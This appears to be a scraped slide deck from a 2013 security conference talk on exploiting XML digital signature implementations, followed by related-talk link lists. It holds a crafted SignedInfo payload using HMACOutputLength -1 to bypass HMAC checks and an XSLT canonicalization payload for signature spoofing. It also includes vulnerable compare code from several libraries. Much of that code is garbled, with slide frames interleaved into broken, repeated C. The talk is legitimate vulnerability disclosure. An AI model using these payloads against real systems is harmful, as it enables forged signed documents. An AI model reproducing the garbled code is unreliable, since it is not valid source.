if = rawLen;
}
return false;
}
d = div(maxCompare, 8);
maxBytes = d.quot; = 0x01;
char mask
maxBits =for (j = 0 ; j < maxBits; ++i) {
d.rem;
if ((raw[i] & mask) != (outputStr[i] & mask))
return compareBits(decode(b64Str), raw, maxBytes, maxBits);
return false;
}
mask = mask << 1;
}
return true;
}
CVE-2013-2155
bool compareBase64StringToRaw(
const char * b64Str,
unsigned char * raw,
bool compareBits(const unsigned char* b64Str,
unsigned int rawLen, char* raw,
const unsigned
unsigned int maxCompare) {
unsigned int maxBytes,
unsigned int maxBits) {
unsigned int maxBytes, maxBits;
div_t d =unsigned int i, j;
{0};
if(maxCompare(i =0) {i < maxBytes; ++ i) {
for == 0;
maxCompare (raw[i] != outputStr[i])
if = rawLen;
}
return false;
}
d = div(maxCompare, 8);
maxBytes = d.quot; = 0x01;
char mask
maxBits =for (j = 0 ; j < maxBits; ++i) {
d.rem;
if ((raw[i] & mask) != (outputStr[i] & mask))
return compareBits(decode(b64Str), raw, maxBytes, maxBits);
return false;
}
mask = mask << 1;
}
return true;
}
CVE-2013-2155
bool compareBase64StringToRaw(
const char * b64Str,
unsigned char * raw,
bool compareBits(const unsigned char* b64Str,
unsigned int rawLen, char* raw,
const unsigned
unsigned int maxCompare) {
unsigned int maxBytes,
unsigned int maxBits) {
unsigned int maxBytes, maxBits;
div_t d =unsigned int i, j;
{0};
if(maxCompare(i =0) {i < maxBytes; ++ i) {
for == 0;
maxCompare (raw[i] != outputStr[i])
if = rawLen;
}
return false;
}
d = div(maxCompare, 8);
maxBytes = d.quot; = 0x01;
char mask
maxBits =for (j = 0 ; j < maxBits; ++i) {
d.rem;
if ((raw[i] & mask) != (outputStr[i] & mask))
return compareBits(decode(b64Str), raw, maxBytes, maxBits);
return false;
}
mask = mask << 1;
}
return true;
}
Div Function
Div Function

HMACOutputLength = -1
maxCompare = 0xFFFFFFFF
d.quot = 0, d.rem = -1
maxBytes = 0, maxBits = 0xFFFFFFFF
Exploiting
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
<SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#hmac-sha1">
<HMACOutputLength>-1</HMACOutputLength>
</SignatureMethod>
...
</SignedInfo>

00112233445566778899AABBCCDDEEFF00112233
Truncate to
8 bits

00
DoS Only 
bool compareBase64StringToRaw(
const char * b64Str,
unsigned char * raw,
bool compareBits(const unsigned char* b64Str,
unsigned int rawLen, char* raw,
const unsigned
unsigned int maxCompare) {
unsigned int maxBytes,
unsigned int maxBits) {
unsigned int maxBytes, maxBits;
div_t d =unsigned int i, j;
{0};
if(maxCompare(i =0) {i < maxBytes; ++ i) {
for == 0;
maxCompare (raw[i] != outputStr[i])
if = rawLen;
}
return false;
}
d = div(maxCompare, 8);
maxBytes = d.quot; = 0x01;
char mask
maxBits =for (j = 0 ; j < maxBits; ++i) {
d.rem;
if ((raw[i] & mask) != (outputStr[i] & mask))
return compareBits(decode(b64Str), raw, maxBytes, maxBits);
return false;
}
mask = mask << 1;
}
return true;
}
DoS Only 
bool compareBase64StringToRaw(
const char * b64Str,
unsigned char * raw,
bool compareBits(const unsigned char* b64Str,
unsigned int rawLen, char* raw,
const unsigned
unsigned int maxCompare) {
unsigned int maxBytes,
unsigned int maxBits) {
unsigned int maxBytes, maxBits;
div_t d =unsigned int i, j;
{0};
if(maxCompare(i =0) {i < maxBytes; ++ i) {
for == 0;
maxCompare (raw[i] != outputStr[i])
if = rawLen;
}
return false;
}
d = div(maxCompare, 8);
maxBytes = d.quot; = 0x01;
char mask
maxBits =for (j = 0 ; j < maxBits; ++i) {
d.rem;
if ((raw[i] & mask) != (outputStr[i] & mask))
return compareBits(decode(b64Str), raw, maxBytes, maxBits);
return false;
}
mask = mask << 1;
}
return true;
}
DoS Only 
bool compareBase64StringToRaw(
const char * b64Str,
unsigned char * raw,
bool compareBits(const unsigned char* b64Str,
unsigned int rawLen, char* raw,
const unsigned
unsigned int maxCompare) {
unsigned int maxBytes,
unsigned int maxBits) {
unsigned int maxBytes, maxBits;
div_t d =unsigned int i, j;
{0};
if(maxCompare(i =0) {i < maxBytes; ++ i) {
for == 0;
maxCompare (raw[i] != outputStr[i])
if = rawLen;
}
return false;
}
d = div(maxCompare, 8);
maxBytes = d.quot; = 0x01;
char mask
maxBits =for (j = 0 ; j < maxBits; ++i) {
d.rem;
if ((raw[i] & mask) != (outputStr[i] & mask))
return compareBits(decode(b64Str), raw, maxBytes, maxBits);
return false;
}
mask = mask << 1;
}
return true;
}
Non-Constant Time Compare
bool compareBits(const unsigned char* b64Str,
const unsigned char* raw,
unsigned int maxBytes,
unsigned int maxBits) {
unsigned int i, j;
for (i = 0; i < maxBytes; ++ i) {
if (raw[i] != outputStr[i])
return false;
}
char mask = 0x01;
for (j = 0 ; j < maxBits; ++i) {
if ((raw[i] & mask) != (outputStr[i] & mask))
return false;
mask = mask << 1;
}
return true;
}
Non-Constant Time Compare
bool compareBits(const unsigned char* b64Str,
const unsigned char* raw,
// Mono
unsigned int maxBytes,
bool Compare (byte[] expected, byte[] actual) {
unsigned int maxBits) {
for (int i=0; i < l; i++) {
if (expected[i] != actual[i])
unsigned int i, j;
return false;
for (i = 0; i < maxBytes; ++ i) {
}
if (raw[i] != outputStr[i])
return true;
return false;
}
}
char mask = 0x01;
for (j = 0 ; j < maxBits; ++i) {
if ((raw[i] & mask) != (outputStr[i] & mask))
return false;
mask = mask << 1;
}
return true;
}
Non-Constant Time Compare
bool compareBits(const unsigned char* b64Str,
const unsigned char* raw,
// Mono
unsigned int maxBytes,
bool Compare (byte[] expected, byte[] actual) {
unsigned int maxBits) {
for (int i=0; i < l; i++) {
if (expected[i] != actual[i])
// .NET unsigned int i, j;
return false;
for (i = 0; i < maxBytes; ++ i)
bool CheckSignedInfo(KeyedHashAlgorithm {macAlg) {
}
ifi (raw[i] < this.m_signature.SignatureValue.Length; i++)
!= outputStr[i])
for (int return itrue;
= 0;
return false;
{
}
if }(m_signature.SignatureValue[i] != actualHashValue[i])
{
char mask = 0x01;
return false;
for (j = 0 ; j < maxBits; ++i) {
}
if ((raw[i] & mask) != (outputStr[i] & mask))
}
return false;
return true;
mask = mask << 1;
}
}
return true;
}
Non-Constant Time Compare
bool compareBits(const unsigned char* b64Str,
const unsigned char* raw,
// Mono
unsigned int maxBytes,
bool Compare (byte[] expected, byte[] actual) {
unsigned int maxBits) {
for (int i=0; i < l; i++) {
if (expected[i] != actual[i])
// .NET unsigned int i, j;
return false;
for (i = 0; i < maxBytes; ++ i)
bool CheckSignedInfo(KeyedHashAlgorithm {macAlg) {
}
ifi (raw[i] < this.m_signature.SignatureValue.Length; i++)
!= outputStr[i])
for (int return itrue;
= 0;
return false;
{
}
// XMLSEC1
if }if((dataSize > 1) && (memcmp(ctx->dgst, data, dataSize - 1) != 0))
(m_signature.SignatureValue[i] != actualHashValue[i])
{ {
char mask = 0x01;
return false;
for (jtransform->status = xmlSecTransformStatusFail;
= 0 ; j < maxBits; ++i) {
}
return(0); mask) != (outputStr[i] & mask))
if ((raw[i] &
}
} return false;
return true;
mask = mask << 1;
}
transform->status = xmlSecTransformStatusOk;
}
return(0);
return true;
}
Back to the
original story...
CVE-2013-1336/CVE-20132172/CVE-2013-2461
• Signature Spoofing through
Canonicalization Algorithm Identifier
• Affected .NET, Apache Java and JRE
• Doesn't work in Mono, due to an
"Incompatible Implementation" 
SignedInfo Element
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
<SignatureMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<Reference URI="">
<Transforms>
<Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
</Transforms>
<DigestMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<DigestValue>C2pG...</DigestValue>
</Reference>
</SignedInfo>
SignedInfo Element
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
<SignatureMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<Reference URI="">
<Transforms>
<Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
</Transforms>
<DigestMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<DigestValue>C2pG...</DigestValue>
</Reference>
</SignedInfo>
SignedInfo Element
<SignedInfo>
<CanonicalizationMethod
Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
<SignatureMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
<Reference URI="">
<Transforms>
<Transform
Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
</Transforms>
<DigestMethod
Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<DigestValue>C2pG...</DigestValue>
</Reference>
</SignedInfo>
Algorithm Identifiers
Name

Type

URI

Required?

SHA1

Digest

http://www.w3.org/2000/09/xmldsig#sha1

Yes

Base64

Encoding

http://www.w3.org/2000/09/xmldsig#base64

Yes

HMAC/SHA1

Signature

http://www.w3.org/2000/09/xmldsig#hmac-sha1

Yes

DSA/SHA1

Signature

http://www.w3.org/2000/09/xmldsig#dsa-sha1

Yes

RSA/SHA1

Signature

http://www.w3.org/2000/09/xmldsig#rsa-sha1

No

C14N 1.0

C14N

http://www.w3.org/TR/2001/REC-xml-c14n20010315

Yes

C14N 1.1

C14N

http://www.w3.org/2006/12/xml-c14n11

Yes

Envelope

Transform

http://www.w3.org/2000/09/xmldsig#envelopedsignature

Yes

XPath

Transform

http://www.w3.org/TR/1999/REC-xpath-19991116

No

XSLT

Transform

http://www.w3.org/TR/1999/REC-xslt-19991116

No
Extensible?
http://www.w3.org/TR/xmldsig-core/#sec-AlgID
"This specification defines a set of algorithms, their URIs,
and requirements for implementation. Requirements
are specified over implementation, not over
requirements for signature use. Furthermore, the
mechanism is extensible; alternative algorithms may
be used by signature applications."
Creating .NET Canonicalizer
class SignedInfo
{
public string CanonicalizationMethod { get; }
public Transform CanonicalizationMethodObject
{
get
{
return (Transform)CryptoConfig.CreateFromName(this.CanonicalizationMethod);
}
}

}
Creating .NET Canonicalizer
class SignedInfo
{
public string CanonicalizationMethod { get; }
public Transform CanonicalizationMethodObject
{
get
{
return (Transform)CryptoConfig.CreateFromName(this.CanonicalizationMethod);
}
}

}
CryptoConfig?
CryptoConfig?
Derived from Transform
Derived from Transform
Derived from Transform
Derived from Transform
Derived from Transform
Derived from Transform
Exploiting It
<good/>

Extract

Good Signed
XML Document
<bad/>

Modify Document

Bad Signed XML
Document

Canonicalize

To XSLT

<SignedInfo>
<CanonicalizationMethod/>
<SignatureMethod/>
<Reference URI="#id">
<Transforms/>
<DigestMethod/>
<DigestValue>C2pG...
</DigestValue>
</Reference>
</SignedInfo>

<xsl:stylesheet version="1.0">
<xsl:output method="text" />
<xsl:template match="/">
<xsl:text disable-output-escaping="yes">
&lt;SignedInfo xmlns="http://...</xsl:text>
</xsl:template>
</xsl:stylesheet>
Final XML
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text" />
<xsl:template match="/">
<xsl:text disable-output-escaping="yes">
&lt;SignedInfo xmlns="http://...
</xsl:text>
</xsl:template>
</xsl:stylesheet>
</CanonicalizationMethod>
<SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1" />
</SignedInfo>
And the Rest
• Cross Implementation DoS (can't show
at this time).
– Also allows you to steal files 

• Invalid Parsing of Signatures
– Blended Threat between parsers

• Other DoS stuff in .NET and WCF
• Many Lucky "bugs" in Mono 
Final Score Sheet
Implementation Parsing
Issues

Memory
Corruption

Signature
Spoofing

Denial of
Service

File Stealing

Apache C++

Yes

Yes

Yes

Yes

Yes,
hilariously!

Apache Java/JRE

Yes

No

Yes

Yes

Sort of,
limited use

XMLSEC1

No

No

Yes

Yes if
libxml2 isn't
fixed

No

.NET

No

No

Yes

Yes

Yes

Mono

Lucky
Escape

No

Yes, should
have been
worse

Yes

I gave up
even trying

Demo Time!
Conclusions
• Don't Blindly Trust Your Implementation
• Double Check All References are as
expected
• Double Check All Algorithms are as
expected
• Probably stay away from Apache C++
and Mono 
Questions?

More Related Content

What's hot

[WELC] 21. I’m Changing the Same Code All Over the Place
[WELC] 21. I’m Changing the Same Code All Over the Place[WELC] 21. I’m Changing the Same Code All Over the Place
[WELC] 21. I’m Changing the Same Code All Over the Place종빈 오
 
Explaining ES6: JavaScript History and What is to Come
Explaining ES6: JavaScript History and What is to ComeExplaining ES6: JavaScript History and What is to Come
Explaining ES6: JavaScript History and What is to Come
Cory Forsyth
 
Academy PRO: ES2015
Academy PRO: ES2015Academy PRO: ES2015
Academy PRO: ES2015
Binary Studio
 
How to Clone Flappy Bird in Swift
How to Clone Flappy Bird in SwiftHow to Clone Flappy Bird in Swift
How to Clone Flappy Bird in SwiftGiordano Scalzo
 
ES6 - Next Generation Javascript
ES6 - Next Generation JavascriptES6 - Next Generation Javascript
ES6 - Next Generation Javascript
Ramesh Nair
 
GECon 2017: C++ - a Monster that no one likes but that will outlast them all
GECon 2017: C++ - a Monster that no one likes but that will outlast them allGECon 2017: C++ - a Monster that no one likes but that will outlast them all
GECon 2017: C++ - a Monster that no one likes but that will outlast them all
Yauheni Akhotnikau
 
GECon2017_Cpp a monster that no one likes but that will outlast them all _Ya...
GECon2017_Cpp  a monster that no one likes but that will outlast them all _Ya...GECon2017_Cpp  a monster that no one likes but that will outlast them all _Ya...
GECon2017_Cpp a monster that no one likes but that will outlast them all _Ya...
GECon_Org Team
 
Railwaynew
RailwaynewRailwaynew
Railwaynew
Arsh Vishwakarma
 
Advance features of C++
Advance features of C++Advance features of C++
Advance features of C++vidyamittal
 
Coscup2021-rust-toturial
Coscup2021-rust-toturialCoscup2021-rust-toturial
Coscup2021-rust-toturial
Wayne Tsai
 
Bind me if you can
Bind me if you canBind me if you can
Bind me if you can
Ovidiu Farauanu
 
Advance C++notes
Advance C++notesAdvance C++notes
Advance C++notes
Rajiv Gupta
 
Functional microscope - Lenses in C++
Functional microscope - Lenses in C++Functional microscope - Lenses in C++
Functional microscope - Lenses in C++
Alexander Granin
 
Fertile Ground: The Roots of Clojure
Fertile Ground: The Roots of ClojureFertile Ground: The Roots of Clojure
Fertile Ground: The Roots of ClojureMike Fogus
 
Coscup2021 - useful abstractions at rust and it's practical usage
Coscup2021 - useful abstractions at rust and it's practical usageCoscup2021 - useful abstractions at rust and it's practical usage
Coscup2021 - useful abstractions at rust and it's practical usage
Wayne Tsai
 
Groovy vs Boilerplate and Ceremony Code
Groovy vs Boilerplate and Ceremony CodeGroovy vs Boilerplate and Ceremony Code
Groovy vs Boilerplate and Ceremony Codestasimus
 
Chapter9
Chapter9Chapter9
Rainer Grimm, “Functional Programming in C++11”
Rainer Grimm, “Functional Programming in C++11”Rainer Grimm, “Functional Programming in C++11”
Rainer Grimm, “Functional Programming in C++11”
Platonov Sergey
 
Es6 hackathon
Es6 hackathonEs6 hackathon
Es6 hackathon
Justin Alexander
 

What's hot (20)

[WELC] 21. I’m Changing the Same Code All Over the Place
[WELC] 21. I’m Changing the Same Code All Over the Place[WELC] 21. I’m Changing the Same Code All Over the Place
[WELC] 21. I’m Changing the Same Code All Over the Place
 
Explaining ES6: JavaScript History and What is to Come
Explaining ES6: JavaScript History and What is to ComeExplaining ES6: JavaScript History and What is to Come
Explaining ES6: JavaScript History and What is to Come
 
Academy PRO: ES2015
Academy PRO: ES2015Academy PRO: ES2015
Academy PRO: ES2015
 
How to Clone Flappy Bird in Swift
How to Clone Flappy Bird in SwiftHow to Clone Flappy Bird in Swift
How to Clone Flappy Bird in Swift
 
ES6 - Next Generation Javascript
ES6 - Next Generation JavascriptES6 - Next Generation Javascript
ES6 - Next Generation Javascript
 
GECon 2017: C++ - a Monster that no one likes but that will outlast them all
GECon 2017: C++ - a Monster that no one likes but that will outlast them allGECon 2017: C++ - a Monster that no one likes but that will outlast them all
GECon 2017: C++ - a Monster that no one likes but that will outlast them all
 
GECon2017_Cpp a monster that no one likes but that will outlast them all _Ya...
GECon2017_Cpp  a monster that no one likes but that will outlast them all _Ya...GECon2017_Cpp  a monster that no one likes but that will outlast them all _Ya...
GECon2017_Cpp a monster that no one likes but that will outlast them all _Ya...
 
Railwaynew
RailwaynewRailwaynew
Railwaynew
 
Advance features of C++
Advance features of C++Advance features of C++
Advance features of C++
 
Coscup2021-rust-toturial
Coscup2021-rust-toturialCoscup2021-rust-toturial
Coscup2021-rust-toturial
 
Bind me if you can
Bind me if you canBind me if you can
Bind me if you can
 
Advance C++notes
Advance C++notesAdvance C++notes
Advance C++notes
 
Functional microscope - Lenses in C++
Functional microscope - Lenses in C++Functional microscope - Lenses in C++
Functional microscope - Lenses in C++
 
Fertile Ground: The Roots of Clojure
Fertile Ground: The Roots of ClojureFertile Ground: The Roots of Clojure
Fertile Ground: The Roots of Clojure
 
Coscup2021 - useful abstractions at rust and it's practical usage
Coscup2021 - useful abstractions at rust and it's practical usageCoscup2021 - useful abstractions at rust and it's practical usage
Coscup2021 - useful abstractions at rust and it's practical usage
 
Opp compile
Opp compileOpp compile
Opp compile
 
Groovy vs Boilerplate and Ceremony Code
Groovy vs Boilerplate and Ceremony CodeGroovy vs Boilerplate and Ceremony Code
Groovy vs Boilerplate and Ceremony Code
 
Chapter9
Chapter9Chapter9
Chapter9
 
Rainer Grimm, “Functional Programming in C++11”
Rainer Grimm, “Functional Programming in C++11”Rainer Grimm, “Functional Programming in C++11”
Rainer Grimm, “Functional Programming in C++11”
 
Es6 hackathon
Es6 hackathonEs6 hackathon
Es6 hackathon
 

Similar to 44CON 2013 - The Forger's Art: Exploiting XML Digital Signature Implementations - James Forshaw

C++ Language
C++ LanguageC++ Language
C++ Language
Vidyacenter
 
write the TODO part of the program.docx
write the TODO part of the program.docxwrite the TODO part of the program.docx
write the TODO part of the program.docx
annetnash8266
 
ES6: Features + Rails
ES6: Features + RailsES6: Features + Rails
ES6: Features + Rails
Santosh Wadghule
 
ES2015 (ES6) Overview
ES2015 (ES6) OverviewES2015 (ES6) Overview
ES2015 (ES6) Overview
hesher
 
Arduino coding class
Arduino coding classArduino coding class
Arduino coding class
Jonah Marrs
 
C Code and the Art of Obfuscation
C Code and the Art of ObfuscationC Code and the Art of Obfuscation
C Code and the Art of Obfuscation
guest9006ab
 
Java cheatsheet
Java cheatsheetJava cheatsheet
Java cheatsheet
Anass SABANI
 
C++ and OOPS Crash Course by ACM DBIT | Grejo Joby
C++ and OOPS Crash Course by ACM DBIT | Grejo JobyC++ and OOPS Crash Course by ACM DBIT | Grejo Joby
C++ and OOPS Crash Course by ACM DBIT | Grejo Joby
GrejoJoby1
 
DataTypes.ppt
DataTypes.pptDataTypes.ppt
DataTypes.ppt
RithikRaj25
 
TypeScript - All you ever wanted to know - Tech Talk by Epic Labs
TypeScript - All you ever wanted to know - Tech Talk by Epic LabsTypeScript - All you ever wanted to know - Tech Talk by Epic Labs
TypeScript - All you ever wanted to know - Tech Talk by Epic Labs
Alfonso Peletier
 
The purpose of this C++ programming project is to allow the student .pdf
The purpose of this C++ programming project is to allow the student .pdfThe purpose of this C++ programming project is to allow the student .pdf
The purpose of this C++ programming project is to allow the student .pdf
Rahul04August
 
Idiomatic Javascript (ES5 to ES2015+)
Idiomatic Javascript (ES5 to ES2015+)Idiomatic Javascript (ES5 to ES2015+)
Idiomatic Javascript (ES5 to ES2015+)
David Atchley
 
The java language cheat sheet
The java language cheat sheetThe java language cheat sheet
The java language cheat sheet
anand_study
 
This is the Java code i have for a Battleship project i am working o.pdf
This is the Java code i have for a Battleship project i am working o.pdfThis is the Java code i have for a Battleship project i am working o.pdf
This is the Java code i have for a Battleship project i am working o.pdf
calderoncasto9163
 
Refactoring to Macros with Clojure
Refactoring to Macros with ClojureRefactoring to Macros with Clojure
Refactoring to Macros with ClojureDmitry Buzdin
 
C cheat sheet for varsity (extreme edition)
C cheat sheet for varsity (extreme edition)C cheat sheet for varsity (extreme edition)
C cheat sheet for varsity (extreme edition)
Saifur Rahman
 
include ltiostreamgt include ltstringgt include .pdf
include ltiostreamgt include ltstringgt include .pdfinclude ltiostreamgt include ltstringgt include .pdf
include ltiostreamgt include ltstringgt include .pdf
contact32
 

Similar to 44CON 2013 - The Forger's Art: Exploiting XML Digital Signature Implementations - James Forshaw (20)

C++ Language
C++ LanguageC++ Language
C++ Language
 
write the TODO part of the program.docx
write the TODO part of the program.docxwrite the TODO part of the program.docx
write the TODO part of the program.docx
 
ES6: Features + Rails
ES6: Features + RailsES6: Features + Rails
ES6: Features + Rails
 
ES2015 (ES6) Overview
ES2015 (ES6) OverviewES2015 (ES6) Overview
ES2015 (ES6) Overview
 
Arduino coding class
Arduino coding classArduino coding class
Arduino coding class
 
C Code and the Art of Obfuscation
C Code and the Art of ObfuscationC Code and the Art of Obfuscation
C Code and the Art of Obfuscation
 
Java cheatsheet
Java cheatsheetJava cheatsheet
Java cheatsheet
 
C program
C programC program
C program
 
C++ and OOPS Crash Course by ACM DBIT | Grejo Joby
C++ and OOPS Crash Course by ACM DBIT | Grejo JobyC++ and OOPS Crash Course by ACM DBIT | Grejo Joby
C++ and OOPS Crash Course by ACM DBIT | Grejo Joby
 
DataTypes.ppt
DataTypes.pptDataTypes.ppt
DataTypes.ppt
 
TypeScript - All you ever wanted to know - Tech Talk by Epic Labs
TypeScript - All you ever wanted to know - Tech Talk by Epic LabsTypeScript - All you ever wanted to know - Tech Talk by Epic Labs
TypeScript - All you ever wanted to know - Tech Talk by Epic Labs
 
Tu1
Tu1Tu1
Tu1
 
The purpose of this C++ programming project is to allow the student .pdf
The purpose of this C++ programming project is to allow the student .pdfThe purpose of this C++ programming project is to allow the student .pdf
The purpose of this C++ programming project is to allow the student .pdf
 
Idiomatic Javascript (ES5 to ES2015+)
Idiomatic Javascript (ES5 to ES2015+)Idiomatic Javascript (ES5 to ES2015+)
Idiomatic Javascript (ES5 to ES2015+)
 
The java language cheat sheet
The java language cheat sheetThe java language cheat sheet
The java language cheat sheet
 
This is the Java code i have for a Battleship project i am working o.pdf
This is the Java code i have for a Battleship project i am working o.pdfThis is the Java code i have for a Battleship project i am working o.pdf
This is the Java code i have for a Battleship project i am working o.pdf
 
Refactoring to Macros with Clojure
Refactoring to Macros with ClojureRefactoring to Macros with Clojure
Refactoring to Macros with Clojure
 
C cheat sheet for varsity (extreme edition)
C cheat sheet for varsity (extreme edition)C cheat sheet for varsity (extreme edition)
C cheat sheet for varsity (extreme edition)
 
Ss
SsSs
Ss
 
include ltiostreamgt include ltstringgt include .pdf
include ltiostreamgt include ltstringgt include .pdfinclude ltiostreamgt include ltstringgt include .pdf
include ltiostreamgt include ltstringgt include .pdf
 

More from 44CON

They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...
They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...
They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...
44CON
 
How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...
How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...
How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...
44CON
 
Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...
Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...
Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...
44CON
 
JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...
JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...
JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...
44CON
 
Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...
Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...
Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...
44CON
 
The UK's Code of Practice for Security in Consumer IoT Products and Services ...
The UK's Code of Practice for Security in Consumer IoT Products and Services ...The UK's Code of Practice for Security in Consumer IoT Products and Services ...
The UK's Code of Practice for Security in Consumer IoT Products and Services ...
44CON
 
Weak analogies make poor realities – are we sitting on a Security Debt Crisis...
Weak analogies make poor realities – are we sitting on a Security Debt Crisis...Weak analogies make poor realities – are we sitting on a Security Debt Crisis...
Weak analogies make poor realities – are we sitting on a Security Debt Crisis...
44CON
 
Pwning the 44CON Nerf Tank
Pwning the 44CON Nerf TankPwning the 44CON Nerf Tank
Pwning the 44CON Nerf Tank
44CON
 
Security module for php7 – Killing bugclasses and virtual-patching the rest! ...
Security module for php7 – Killing bugclasses and virtual-patching the rest! ...Security module for php7 – Killing bugclasses and virtual-patching the rest! ...
Security module for php7 – Killing bugclasses and virtual-patching the rest! ...
44CON
 
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images
44CON
 
44CON London 2015 - Is there an EFI monster inside your apple?
44CON London 2015 - Is there an EFI monster inside your apple?44CON London 2015 - Is there an EFI monster inside your apple?
44CON London 2015 - Is there an EFI monster inside your apple?
44CON
 
44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...
44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...
44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...
44CON
 
44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy
44CON
 
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
44CON
 
44CON London 2015 - Going AUTH the Rails on a Crazy Train
44CON London 2015 - Going AUTH the Rails on a Crazy Train44CON London 2015 - Going AUTH the Rails on a Crazy Train
44CON London 2015 - Going AUTH the Rails on a Crazy Train
44CON
 
44CON London 2015 - Software Defined Networking (SDN) Security
44CON London 2015 - Software Defined Networking (SDN) Security44CON London 2015 - Software Defined Networking (SDN) Security
44CON London 2015 - Software Defined Networking (SDN) Security
44CON
 
44CON London 2015 - DDoS mitigation EPIC FAIL collection
44CON London 2015 - DDoS mitigation EPIC FAIL collection44CON London 2015 - DDoS mitigation EPIC FAIL collection
44CON London 2015 - DDoS mitigation EPIC FAIL collection
44CON
 
44CON London 2015 - Hunting Asynchronous Vulnerabilities
44CON London 2015 - Hunting Asynchronous Vulnerabilities44CON London 2015 - Hunting Asynchronous Vulnerabilities
44CON London 2015 - Hunting Asynchronous Vulnerabilities
44CON
 
44CON London 2015 - Reverse engineering and exploiting font rasterizers: the ...
44CON London 2015 - Reverse engineering and exploiting font rasterizers: the ...44CON London 2015 - Reverse engineering and exploiting font rasterizers: the ...
44CON London 2015 - Reverse engineering and exploiting font rasterizers: the ...
44CON
 
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON London 2015 - Jtagsploitation: 5 wires, 5 ways to root
44CON
 

More from 44CON (20)

They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...
They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...
They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...
 
How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...
How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...
How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...
 
Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...
Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...
Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...
 
JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...
JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...
JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...
 
Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...
Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...
Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...
 
The UK's Code of Practice for Security in Consumer IoT Products and Services ...
The UK's Code of Practice for Security in Consumer IoT Products and Services ...The UK's Code of Practice for Security in Consumer IoT Products and Services ...
The UK's Code of Practice for Security in Consumer IoT Products and Services ...
 
Weak analogies make poor realities – are we sitting on a Security Debt Crisis...
